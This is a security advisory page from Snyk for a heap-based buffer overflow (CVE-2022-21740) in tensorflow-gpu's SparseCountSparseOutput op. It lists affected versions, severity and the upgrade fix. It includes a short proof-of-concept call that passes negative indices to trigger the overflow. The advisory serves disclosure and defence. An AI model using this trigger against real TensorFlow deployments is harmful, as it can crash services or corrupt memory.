Heap-based Buffer Overflow Affecting tensorflow-gpu package, versions [,2.5.3)[2.6.0,2.6.3)[2.7.0,2.7.1)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.69% (81st percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-TENSORFLOWGPU-2393363
  • published3 Feb 2022
  • disclosed3 Feb 2022
  • creditFaysal Hossain Shezan

Introduced: 3 Feb 2022

CVE-2022-21740  (opens in a new tab)
CWE-122  (opens in a new tab)

How to fix?

Upgrade tensorflow-gpu to version 2.5.3, 2.6.3, 2.7.1 or higher.

Overview

tensorflow-gpu is a machine learning framework.

Affected versions of this package are vulnerable to Heap-based Buffer Overflow via the implementation of SparseCountSparseOutput.

###PoC

import tensorflow as tf
import numpy as np

tf.raw_ops.SparseCountSparseOutput( indices=[[-1,-1]], values=[2], dense_shape=[1, 1], weights=[1], binary_output=True, minlength=-1, maxlength=-1, name=None)

CVSS Scores

version 3.1